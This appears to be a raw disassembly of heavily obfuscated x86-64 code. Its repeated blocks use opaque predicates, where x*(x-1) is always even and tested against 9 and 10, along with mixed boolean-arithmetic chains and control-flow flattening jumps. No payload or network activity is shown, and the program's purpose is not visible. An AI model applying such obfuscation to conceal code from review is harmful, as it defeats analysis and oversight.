xor edx, 0x3995ed6d
and edx, ebx
not ebx
and ebx, 0x18958920
and ecx, 0x2100644d
or ecx, ebx
mov ebx, ecx
xor ebx, 0x20002440
xor ecx, 0xdeff9bb2
mov edi, edx
not edi
mov esi, ecx
and esi, 0x5343582d
and ebx, 0x2894a540
or ebx, esi
or ecx, edi
and edi, 0x5343582d
and edx, 0xacbca7d2
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x5a4f6045
and ecx, 0xa5b09fba
or ecx, edx
mov edx, ecx
xor edx, 0x9c2572d7
mov ebx, ecx
xor ebx, 0x9c2572d6
and ebx, edx
xor ecx, 0x63da8d28
and ecx, 0xfffffffe
and edx, 1
or edx, ecx
mov ecx, ebx
not ecx
mov edi, edx
not edi
mov esi, ecx
and esi, 0xb2397ed1
and ebx, 0x4dc6812e
or ebx, esi
or ecx, edi
and edi, 0xb2397ed1
and edx, 0x4dc6812e
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov ebx, ecx
not ebx
mov edx, ebx
and edx, ecx
mov edi, edx
not edi
mov esi, ecx
and esi, 0x759e18ee
and ebx, 0x8a61e711
or ebx, esi
or ecx, edi
and edi, 0x759e18ee
and edx, 0x8a61e711
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x294d1dff
and ecx, 0xd6b2e200
or ecx, edx
mov edx, ecx
xor edx, 0x80104000
xor ecx, 0x50967
and ecx, 0x56a7ab67
and edx, 0xa9585498
or edx, ecx
xor edx, 0xa9585498
setne r8b
cmp eax, 0xa
setl dl
cmp eax, 9
setg al
xor dl, r8b
xor r8b, al
xor al, dl
and al, dl
mov ebx, eax
xor bl, 1
mov ecx, r8d
xor cl, bl
mov edx, ebx
and dl, al
xor bl, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, bl
xor dl, r8b
xor cl, 1
or al, r8b
xor al, 1
or al, cl
mov ecx, edx
xor cl, al
not cl
test cl, 1
mov ecx, 0xb055f7fc
mov ebx, 0xfcd3d1fe
cmovne ecx, ebx
test al, 1
mov eax, 0xb055f7fc
jmp 0x140197fb0
mov edx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ebx, [rdx - 1]
imul ebx, edx
mov eax, ebx
not eax
mov edx, eax
and edx, 0x924d0070
mov ecx, ebx
and ecx, 0x2010a002
or ecx, edx
mov edi, ecx
xor edi, 0x20000000
xor ecx, 0xc8235c0c
mov esi, eax
or esi, 0xb25da072
mov edx, esi
not edx
and ecx, 0xc833fc0e
and edi, 0x324c0070
or edi, ecx
and esi, 0xc833fc0e
and edx, 0x5800381
or edx, esi
xor edx, edi
mov ecx, edx
not ecx
and ecx, 0xcb5fde3c
and edx, 0x34a021c3
or edx, ecx
mov edi, edx
xor edi, 0x86fd81b0
xor edx, 0x7c45
and eax, 0x59b0bbcc
and ebx, 0xa64f4433
or ebx, eax
mov eax, ebx
xor eax, 0x80044411
xor ebx, 0x59b0bbcc
mov ecx, edi
and ecx, 0x7ffb83aa
and edx, 0x80047c55
or edx, ecx
or edi, ebx
and ebx, 0x7ffb83aa
and eax, 0x80047c55
or eax, ebx
xor eax, edx
not edi
or edi, eax
mov eax, edi
not eax
and eax, 0xcf2ee622
and edi, 0x30d119dd
or edi, eax
xor edi, 0x30d119dd
setne al
sete cl
cmp r8d, 0xa
setl dl
cmp r8d, 9
setg bl
and bl, cl
and al, dl
or al, bl
or dl, cl
mov ecx, eax
xor cl, 1
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
xor cl, al
and al, cl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0xda7fe547
mov ebx, 0x1c7c827e
cmovne edx, ebx
test cl, 1
mov ecx, 0xda7fe547
jmp 0x14018e805
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov edx, ebx
xor edx, 0xcaf23e84
and edx, ebx
not ebx
and ebx, 0xcaf23e84
mov ecx, ebx
and ecx, edx
xor edx, ebx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x5f509faf
and edx, 0xa0af6050
or edx, ecx
mov ebx, edx
xor ebx, 0x425c4c10
xor edx, 0x95a2a12b
mov ecx, edx
or ecx, 1
mov edi, ecx
not edi
and edx, 0x3ca133e5
and ebx, 0xc35ecc1a
or ebx, edx
mov edx, ebx
xor edx, 0x4214401b
xor ebx, 0x3ca133e4
mov esi, ecx
and esi, 0xa96aaf04
and edi, 0x569550fa
or edi, esi
or ecx, ebx
and ebx, 0xa96aaf04
and edx, 0x569550fb
or edx, ebx
xor edx, edi
not ecx
or ecx, edx
mov edx, ecx
not edx
and ecx, 0xa8ce8ea1
and edx, 0x5731715e
or edx, ecx
xor edx, 0xa8ce8ea1
sete r8b
setne r10b
cmp eax, 9
setg cl
cmp eax, 0xa
setl r9b
mov ebx, r10d
xor bl, r8b
and bl, r10b
mov eax, ebx
xor al, 1
mov edx, ebx
and dl, al
xor dl, 1
mov r11d, edx
xor r11b, al
or dl, al
xor dl, 1
or dl, r11b
or al, bl
xor al, 1
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov ebx, r9d
xor bl, al
xor bl, 1
and bl, al
or al, r9b
xor bl, 1
mov edx, ebx
xor dl, al
or bl, al
xor bl, 1
or bl, dl
mov eax, ecx
xor al, r8b
and al, cl
and r10b, r9b
and cl, r8b
or cl, r10b
mov edx, eax
xor dl, 1
xor al, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
and cl, al
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, ebx
xor al, 1
xor bl, cl
xor cl, 1
or cl, al
mov edx, ebx
xor dl, cl
test bl, 1
mov eax, 0x519a1fc1
mov ebx, 0x1974db8b
cmovne eax, ebx
test cl, 1
mov ecx, 0x519a1fc1
jmp 0x1401a0085
mov eax, 0xabc14bb7
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov eax, 0x88443e93
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ebx, edx
not ebx
mov ecx, ebx
and ecx, 0x5ead96ed
and edx, 0xa1526912
or edx, ecx
mov edi, edx
xor edi, 0x100010
xor edx, 0x800204
or ebx, 0x90d1ca74
mov ecx, ebx
not ecx
or edx, 0x4402108b
and edx, 0xc4c25a8f
and edi, 0x10118070
or edi, edx
and ebx, 0xc4c25a8f
and ecx, 0x2b2c2500
or ecx, ebx
xor ecx, edi
mov edx, ecx
not edx
and edx, 0x6f2e358b
and ecx, 0x90d1ca74
or ecx, edx
mov edx, ecx
xor edx, 1
and edx, ecx
mov ebx, ecx
not ebx
and ebx, 0xd8c51448
and ecx, 0x273aebb7
or ecx, ebx
xor ecx, 0x273aebb6
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0xcc43bc0e
and ecx, 0x33bc43f1
or ecx, edx
mov edx, ecx
xor edx, 0x218c00d0
xor ecx, 0x4002380e
and edx, 0xadcd84d0
and ecx, 0x52327b2f
or ecx, edx
mov edx, ecx
xor edx, 0xd0504d0
xor ecx, 0x50207905
and ecx, 0xf0e8f905
and edx, 0xf1706fa
or edx, ecx
xor edx, 0xf1706fa
sete cl
cmp eax, 0xa
setl dl
cmp eax, 9
setg bl
mov eax, ebx
xor al, cl
xor bl, al
and bl, al
not al
and al, cl
xor cl, dl
and cl, dl
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, ebx
xor al, 1
and al, cl
xor cl, 1
mov edx, ebx
xor dl, cl
and dl, bl
and cl, bl
or cl, al
mov eax, ecx
xor al, dl
test cl, cl
mov ecx, 0x78380115
mov ebx, 0xd5a5ec4a
cmovne ecx, ebx
test dl, dl
mov edx, 0x78380115
jmp 0x14019affd
mov eax, 0x6ac2add4
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov dword [rbp - 0x7c], 0xfffffffe
mov eax, 0x25633b0f
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebx, ecx
xor ebx, 0x3f2414ec
and ebx, ecx
or ecx, 0xc0dbeb13
mov edi, ebx
not edi
mov esi, ecx
and esi, 0x25e5d962
and edx, 0x1a00048c
or edx, esi
or ecx, edi
and edi, 0x25e5d962
and ebx, 0xda1a269d
or ebx, edi
xor ebx, edx
not ecx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0xc0dbeb13
and ecx, 0x3f2414ec
or ecx, edx
mov edx, ecx
xor edx, 1
and edx, ecx
mov ebx, ecx
not ebx
and ebx, 0x3885156b
and ecx, 0xc77aea94
or ecx, ebx
xor ecx, 0xc77aea95
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and ecx, edx
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
sete cl
cmp eax, 9
setg dl
cmp eax, 0xa
setl r8b
mov eax, r8d
xor al, cl
or r8b, cl
xor r8b, 1
or r8b, al
and al, cl
or dl, cl
xor dl, 1
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov eax, edx
xor al, 1
mov ebx, edx
and bl, al
mov ecx, ebx
xor cl, 1
xor bl, dl
or cl, al
xor cl, 1
or cl, bl
xor cl, r8b
mov edx, r8d
and dl, al
xor al, r8b
or al, dl
mov edx, ecx
xor dl, al
not dl
test dl, 1
mov edx, 0x7d2355f5
mov ebx, 0x86bbc111
cmovne edx, ebx
test al, 1
mov eax, 0x7d2355f5
jmp 0x140194804
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0x6d34833e
and edx, ecx
and ecx, 0x92cb7cc1
or ecx, ebx
mov ebx, ecx
xor ebx, 0x12080c00
xor ecx, 0x6d34833e
mov edi, edx
not edi
mov esi, ecx
and esi, 0xc1e371c5
and ebx, 0x3e1c8e3a
or ebx, esi
or ecx, edi
and edi, 0xc1e371c5
and edx, 0x3e1c8e3a
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov ebx, ecx
not ebx
mov edx, ebx
or edx, 1
mov edi, edx
not edi
and ebx, 0xfffffffe
and ecx, 1
or ecx, ebx
mov ebx, ecx
not ebx
mov esi, edx
and esi, 0xc5e859a0
and edi, 0x3a17a65e
or edi, esi
or edx, ebx
and ebx, 0xc5e859a0
and ecx, 0x3a17a65f
or ecx, ebx
xor ecx, edi
not edx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x6dbe65b0
and edx, 0x92419a4f
or edx, ecx
mov ecx, edx
xor ecx, 0x9241120b
xor edx, 0x6dbe65b0
mov ebx, edx
and ebx, 0xc2ced74
and ecx, 0xf3d3128b
or ecx, ebx
xor ecx, 0xf3d3128b
or ecx, edx
cmp ecx, 0xffffffff
setne r8b
sete cl
cmp eax, 0xa
setl r10b
cmp eax, 9
setg al
mov edx, ecx
or dl, al
xor dl, 1
mov r9d, eax
and r9b, cl
xor cl, al
not cl
and cl, al
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
and r10b, r8b
or r10b, r9b
mov edx, eax
xor dl, r8b
or al, r8b
xor al, 1
or al, dl
xor al, 1
mov edx, r10d
and dl, al
xor al, r10b
or al, dl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, eax
and bl, dl
xor al, dl
or al, bl
xor al, cl
mov ebx, ecx
xor bl, dl
or dl, cl
xor dl, 1
or dl, bl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0xdca6071
mov ebx, 0x281f11ee
cmovne ecx, ebx
test dl, 1
mov edx, 0xdca6071
jmp 0x14019d264
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rdx - 1]
imul ebx, edx
mov ecx, ebx
not ecx
mov edi, ecx
and edi, 0x8ec14827
mov edx, ebx
and edx, 0x713eb7d8
or edx, edi
mov edi, edx
not edi
and edi, 0x713eb7d9
and edx, 0x8ec14826
or edx, edi
and ecx, 0xbcb5fcf3
and ebx, 0x434a030c
or ebx, ecx
mov ecx, ebx
xor ecx, 0x414a0304
mov edi, edx
not edi
mov esi, edi
and esi, 0x16a1b879
and edx, 0xe95e4786
or edx, esi
xor ebx, 0x14a1b871
and ebx, 0x16a1b879
and ecx, 0xe95e4786
or ecx, ebx
xor ecx, edx
xor edi, ecx
test edi, ecx
setne bl
sete r8b
cmp eax, 9
setg dl
cmp eax, 0xa
setl al
xor dl, al
and dl, al
xor bl, r8b
and bl, r8b
mov ecx, edx
xor cl, 1
or dl, cl
mov r9d, ecx
xor r9b, dl
or dl, cl
xor dl, 1
or dl, r9b
mov ecx, ebx
xor cl, 1
or cl, bl
xor cl, 1
mov r9d, ebx
and r9b, cl
xor cl, bl
or cl, r9b
xor dl, 1
mov ebx, edx
xor bl, cl
xor bl, 1
and bl, cl
or dl, cl
xor bl, 1
mov ecx, ebx
xor cl, dl
or bl, dl
xor bl, 1
or bl, cl
mov ecx, eax
or cl, r8b
xor cl, 1
xor al, r8b
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, eax
xor cl, 1
and al, cl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
xor al, bl
mov ecx, eax
xor cl, 1
and bl, cl
xor cl, bl
test cl, 1
mov ecx, 0x70d55a17
mov edx, 0x5b664367
cmovne ecx, edx
test al, 1
mov eax, ecx
mov edx, 0x70d55a17
cmovne eax, edx
jmp 0x140197763
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and ecx, edx
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
xor edx, 1
and edx, ecx
mov ebx, ecx
not ebx
and ebx, 0x47022eb9
and ecx, 0xb8fdd146
or ecx, ebx
xor ecx, 0xb8fdd147
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
xor edx, 0xf7c0162e
and edx, ecx
not ecx
and ecx, 0xf7c0162e
mov ebx, ecx
and ebx, edx
xor edx, ecx
or edx, ebx
mov ecx, edx
not ecx
and ecx, 0xf9ffbacf
and edx, 0x6004530
or edx, ecx
mov ecx, edx
xor ecx, 0x8080500c
xor edx, 0x61b2ce1
and edx, 0x775b2ff3
and ecx, 0x88a4d00c
or ecx, edx
mov edx, ecx
xor edx, 0x8880900c
xor ecx, 0x36010791
and ecx, 0x36254791
and edx, 0xc9dab86e
or edx, ecx
xor edx, 0x36254791
cmp edx, 0xffffffff
sete r8b
setne r9b
cmp eax, 0xa
setl r10b
cmp eax, 9
setg bl
mov eax, ebx
xor al, r10b
and al, bl
mov edx, eax
xor dl, 1
mov ecx, eax
and cl, dl
mov r11d, ecx
and r11b, al
xor cl, al
or cl, r11b
or dl, al
mov eax, edx
xor al, cl
xor cl, 1
xor al, 1
or cl, dl
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
and al, r9b
and cl, r8b
or cl, al
and r9b, r10b
or r10b, r8b
xor r10b, 1
and bl, r8b
or bl, r9b
mov eax, r10d
and al, bl
xor bl, r10b
or bl, al
mov eax, ebx
not al
mov edx, ecx
xor dl, bl
and dl, cl
and bl, cl
xor cl, 1
and cl, al
or bl, cl
mov eax, edx
xor al, bl
test al, 1
mov eax, 0xa9de3a0e
mov edi, 0x9794d4dc
cmovne eax, edi
test bl, bl
mov ecx, eax
cmovne ecx, edi
jmp 0x14019f0fe
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edi, [rcx - 1]
imul edi, ecx
mov ecx, edi
not ecx
mov ebx, ecx
and ebx, 0xfffffffe
mov edx, edi
xor edx, 0xfffffffe
and edx, edi
mov esi, ebx
and esi, edx
xor edx, ebx
or edx, esi
mov esi, edx
not esi
mov ebx, esi
and ebx, 0xca3493c
and edx, 0xf35cb6c3
or edx, ebx
and edi, 0xca3493c
and ecx, 0xf35cb6c3
or ecx, edi
xor ecx, edx
not ecx
or ecx, esi
cmp ecx, 0xffffffff
setne r10b
sete r9b
cmp eax, 9
setg r8b
cmp eax, 0xa
setl cl
mov ebx, r9d
xor bl, cl
mov eax, ebx
and al, cl
and r10b, cl
and cl, r9b
or cl, bl
and bl, r9b
mov edx, ebx
xor dl, 1
xor bl, al
xor al, 1
or al, dl
xor al, 1
or al, bl
and r8b, r9b
or r10b, r8b
xor cl, 1
mov edx, r10d
and dl, cl
xor cl, r10b
or cl, dl
mov ebx, ecx
xor bl, 1
mov edx, ebx
and dl, cl
xor bl, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, bl
mov ebx, edx
xor bl, 1
mov ecx, ebx
and cl, dl
xor bl, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, bl
xor cl, al
mov ebx, eax
xor bl, dl
or dl, al
xor dl, 1
or dl, bl
mov eax, ecx
xor al, dl
not al
test al, 1
mov eax, 0x2431c9a0
mov ebx, 0x59193bc5
cmovne eax, ebx
test dl, 1
mov edx, 0x2431c9a0
cmovne edx, eax
jmp 0x14018a4c5
mov eax, dword [0x1402656c8]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
or ebx, 0xc1b66343
mov ecx, ebx
not ecx
or edx, 0x3a499088
and edx, 0xbb7db3c9
and eax, 0x40824002
or eax, edx
and ebx, 0xbb7db3c9
and ecx, 0x4000c34
or ecx, ebx
xor ecx, eax
mov eax, ecx
not eax
and eax, 0x3e499cbc
and ecx, 0xc1b66343
or ecx, eax
mov ebx, ecx
not ebx
mov eax, ebx
and eax, 0x5257ad18
and ecx, 0xada852e7
or ecx, eax
mov eax, ecx
xor eax, 0xada852e7
xor ecx, 0x5257ad18
mov edi, ecx
or edi, 0xc425891e
mov esi, edi
not esi
or ebx, 0x3bda76e1
mov edx, ebx
not edx
and edi, 0xf6ee5c7e
and esi, 0x9102281
or esi, edi
and ebx, 0xf6ee5c7e
and edx, 0x18100
or edx, ebx
xor edx, esi
mov ebx, edx
not ebx
and ebx, 0xc425891f
and edx, 0x3bda76e0
or edx, ebx
and ecx, 0xd6c785be
mov ebx, eax
and ebx, 0x29387a41
or ebx, ecx
xor ebx, 0xd6c785bf
and eax, 1
or eax, ebx
mov ecx, eax
not ecx
and ecx, 0xe1cb3c78
and eax, 0x1e34c387
or eax, ecx
xor eax, 0x1e34c387
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xcb68340e
and ecx, eax
and eax, 0x3497cbf1
or eax, edx
xor eax, 0x3497cbf1
mov edx, eax
and edx, ecx
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0xdb3c7e59
and ecx, 0x24c381a6
or ecx, eax
xor ecx, 0x24c381a6
sete dl
cmp dword [0x1402656c4], 0xa
setl bl
mov r8d, ebx
or r8b, dl
xor r8b, 1
mov eax, ebx
xor al, dl
or r8b, al
and dl, al
and al, bl
xor dl, 1
xor al, 1
mov ebx, edx
xor bl, al
or al, dl
xor al, 1
or al, bl
mov r11d, eax
xor r11b, 1
mov ecx, r8d
mov edx, r11d
and dl, al
mov r9d, r8d
mov r10d, r11d
and r10b, dl
xor dl, r11b
xor r11b, r8b
xor r8b, 1
and cl, r8b
xor r9b, cl
xor cl, 1
or cl, r8b
xor cl, 1
or cl, r9b
or dl, r10b
mov ebx, ecx
xor bl, 1
and bl, dl
xor dl, 1
and dl, cl
or dl, bl
or al, r8b
xor al, 1
or al, r11b
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x409d31e8
mov ebx, 0x94ef34a7
cmovne eax, ebx
test dl, 1
cmove eax, ebx
not cl
test cl, 1
mov ecx, 0x409d31e8
jmp 0x14019970b
mov eax, dword [0x1402656c8]
lea ecx, [rax - 1]
imul ecx, eax
mov ebx, ecx
not ebx
mov edx, ebx
and edx, 0xfffffffe
mov eax, ecx
xor eax, 0xfffffffe
and eax, ecx
mov edi, edx
and edi, eax
xor eax, edx
or eax, edi
mov edx, eax
not edx
and edx, 0xe511db71
and eax, 0x1aee248e
or eax, edx
mov edx, eax
xor edx, 0x12440406
and ebx, 0xe9cf2f55
and ecx, 0x1630d0aa
or ecx, ebx
mov ebx, ecx
xor ebx, 0x12101022
xor eax, 0xe511db71
xor ecx, 0xe9cf2f55
mov edi, eax
and edi, 0x6caae3d8
and edx, 0x93551c27
or edx, edi
or eax, ecx
and ecx, 0x6caae3d8
and ebx, 0x93551c27
or ebx, ecx
xor ebx, edx
not eax
or eax, ebx
cmp eax, 0xffffffff
sete r8b
setne dl
cmp dword [0x1402656c4], 9
setg al
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
mov r9d, edx
xor r9b, 1
mov ecx, eax
xor cl, r8b
not cl
and cl, r8b
or al, r8b
xor al, 1
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
mov ecx, eax
xor cl, 1
mov ebx, eax
and bl, dl
or al, r9b
and r9b, cl
or r9b, bl
xor cl, dl
xor al, 1
or al, cl
mov ecx, eax
xor cl, r9b
test cl, 1
mov ecx, 0xa55e7baf
mov edx, 0x98b28d0b
cmovne ecx, edx
test al, 1
mov eax, 0xa55e7baf
cmovne eax, ecx
test r9b, r9b
jmp 0x1401a14db
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
not ecx
mov edx, ecx
and edx, 0xf6a93083
and ecx, ebx
and ebx, 0x956cf7c
or ebx, edx
mov edx, ebx
xor edx, 0x20038
xor ebx, 0xf6a93083
mov edi, ecx
not edi
mov esi, ebx
and esi, 0x2bdcdfc5
and edx, 0xd423203a
or edx, esi
or ebx, edi
and edi, 0x2bdcdfc5
and ecx, 0xd423203a
or ecx, edi
xor ecx, edx
not ebx
or ebx, ecx
mov edx, ebx
not edx
mov edi, ebx
xor edi, 0x97f8bb3
and edi, edx
mov ecx, ebx
and ecx, 0xf680744c
mov esi, edi
and esi, ecx
xor ecx, edi
or ecx, esi
mov edi, ecx
not edi
and edi, 0xf680744d
and ecx, 0x97f8bb2
or ecx, edi
and edx, 1
xor ebx, 0xfffffffe
or ebx, edx
mov edi, ebx
not edi
mov edx, ecx
not edx
mov esi, edx
and esi, 0xe27ed722
and ecx, 0x1d8128dd
or ecx, esi
or edx, ebx
and ebx, 0xe27ed722
and edi, 0x1d8128dd
or edi, ebx
xor edi, ecx
not edx
or edx, edi
mov ebx, edx
not ebx
mov ecx, ebx
and ecx, 0xa92ffdf1
and edx, 0x56d0020e
or edx, ecx
mov edi, edx
xor edi, 0x80000e
xor edx, 0x10800a0
or ebx, 0x179d80ff
mov ecx, ebx
not ecx
or edx, 0x20001600
and edx, 0x371816a0
and edi, 0x85805f
or edi, edx
and ebx, 0x371816a0
and ecx, 0xc8626900
or ecx, ebx
xor ecx, edi
mov edx, ecx
not edx
and edx, 0x23bec500
and ecx, 0xdc413aff
or ecx, edx
xor ecx, 0xcbdcba00
sete r8b
setne bl
cmp eax, 9
setg cl
cmp eax, 0xa
setl dl
mov r9d, edx
xor r9b, bl
mov eax, edx
xor dl, r8b
and r8b, cl
and al, bl
or al, r8b
or cl, bl
xor cl, 1
or cl, dl
xor cl, 1
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, ecx
not al
and al, r9b
xor r9b, 1
mov edx, r9d
xor dl, cl
and dl, r9b
and cl, r9b
or cl, al
mov eax, ecx
xor al, dl
test cl, cl
mov ecx, 0x93915954
mov ebx, 0x17b8b5cd
cmovne ecx, ebx
test dl, dl
mov edx, 0x93915954
cmove ecx, edx
test al, al
cmovne ecx, ebx
jmp 0x1401a26c0
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rdx - 1]
imul ebx, edx
mov edi, ebx
not edi
mov edx, edi
and edx, 0x8c218186
mov ecx, ebx
and ecx, 0x42800421
or ecx, edx
xor ecx, 0x42800421
mov edx, ebx
and edx, 0x315e7a58
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x315e7a59
and edx, 0xcea185a6
or edx, ecx
and edi, 0x6238b046
and ebx, 0x9dc74fb9
or ebx, edi
mov ecx, ebx
xor ecx, 0x890506b8
mov edi, edx
not edi
mov esi, edi
and esi, 0x54daf943
and edx, 0xab2506bc
or edx, esi
xor ebx, 0x4018b042
and ebx, 0x54daf943
and ecx, 0xab2506bc
or ecx, ebx
xor ecx, edx
xor edi, ecx
test edi, ecx
sete cl
setne r8b
cmp eax, 0xa
setl bl
cmp eax, 9
setg dl
mov eax, edx
and cl, dl
and dl, r8b
xor al, r8b
or al, dl
xor al, 1
and bl, r8b
or cl, bl
xor cl, al
mov edx, ecx
not dl
and dl, al
mov eax, edx
xor al, cl
mov eax, 0x8d0214be
mov ebx, 0xd8cc44f2
cmovne eax, ebx
test cl, cl
mov ecx, eax
jmp 0x14018c625
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebx, ecx
not ebx
mov edx, ebx
and edx, ecx
mov edi, edx
not edi
mov esi, ecx
and esi, 0x2cfaf14b
and ebx, 0xd3050eb4
or ebx, esi
or ecx, edi
and edi, 0x2cfaf14b
and edx, 0xd3050eb4
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov ebx, ecx
not ebx
mov edi, ecx
xor edi, 0x9046682e
and edi, ebx
mov edx, ecx
and edx, 0x6fb997d1
mov esi, edi
and esi, edx
xor edx, edi
or edx, esi
mov edi, edx
not edi
and edi, 0x6fb997d0
and edx, 0x9046682f
or edx, edi
and ebx, 1
xor ecx, 0xfffffffe
or ecx, ebx
mov ebx, ecx
not ebx
and ebx, 0x7c4e9e78
and ecx, 0x83b16187
or ecx, ebx
xor ecx, 0x83b16187
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and ecx, 0x5b2b6eab
and edx, 0xa4d49154
or edx, ecx
xor edx, 0x5b2b6eab
sete dl
setne cl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
and cl, al
and bl, dl
or bl, cl
xor bl, 1
or bl, al
mov ecx, ebx
xor cl, 1
xor al, dl
mov edx, eax
xor dl, 1
and cl, bl
and dl, al
mov r8d, ebx
and r8b, cl
xor cl, bl
or cl, r8b
mov r8d, eax
and r8b, dl
xor dl, al
or dl, r8b
mov r8d, ecx
xor r8b, 1
and r8b, dl
xor dl, 1
and dl, cl
or dl, r8b
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x46471198
mov ebx, 0xf909a234
cmovne eax, ebx
test dl, 1
cmove eax, ebx
not cl
test cl, 1
mov ecx, 0x46471198
jmp 0x14019970b
mov eax, 0x2431c9a0
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov edx, dword [0x1402656c8]
mov ecx, dword [0x1402656c4]
lea ebx, [rdx - 1]
imul ebx, edx
mov eax, ebx
not eax
mov edi, eax
and edi, 0xfffffffe
mov edx, ebx
xor edx, 0xfffffffe
and edx, ebx
mov esi, edi
and esi, edx
xor edx, edi
or edx, esi
and eax, 0x27c3b0f3
and ebx, 0xd83c4f0c
or ebx, eax
mov eax, ebx
xor eax, 0xd8004608
mov esi, edx
not esi
mov edi, esi
and edi, 0x21ffa915
and edx, 0xde0056ea
or edx, edi
xor ebx, 0x21c3a011
and ebx, 0x21ffa915
and eax, 0xde0056ea
or eax, ebx
xor eax, edx
not eax
or eax, esi
cmp eax, 0xffffffff
setne r8b
sete r10b
cmp ecx, 9
setg al
cmp ecx, 0xa
setl r9b
mov ecx, r10d
xor cl, r9b
mov edx, ecx
and dl, r10b
and cl, r9b
xor dl, 1
xor cl, 1
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
mov edx, eax
xor dl, r10b
and dl, al
and r8b, r9b
and al, r10b
or al, r8b
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, eax
not dl
and dl, al
xor dl, 1
mov ebx, edx
xor bl, al
or dl, al
xor dl, 1
or dl, bl
mov ebx, edx
xor dl, 1
and dl, cl
xor cl, 1
and bl, cl
or dl, bl
mov ebx, ecx
and bl, al
xor cl, al
or cl, bl
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0xc0b92ade
mov ebx, 0xefbbee6f
cmovne eax, ebx
test cl, 1
mov ecx, 0xc0b92ade
jmp 0x14019c0ca
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov edx, ebx
not edx
and ebx, 0xcdf1319f
and edx, 0x320ece60
or edx, ebx
mov ecx, edx
xor ecx, 0xcdf1319f
mov ebx, edx
xor ebx, 0xcdf1319e
and ebx, ecx
xor edx, 0x10024620
and edx, 0x91336730
and ecx, 0x6ecc98cf
or ecx, edx
xor ecx, 0x6ecc98ce
mov edx, ebx
and edx, ecx
xor ecx, ebx
or ecx, edx
mov edx, ecx
not edx
and ecx, edx
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x4e85f3d7
and ecx, 0xb17a0c28
or ecx, edx
xor ecx, 0xb17a0c28
cmp ecx, 0xffffffff
sete r8b
setne r9b
cmp eax, 9
setg cl
cmp eax, 0xa
setl r10b
mov eax, r10d
xor al, r9b
not al
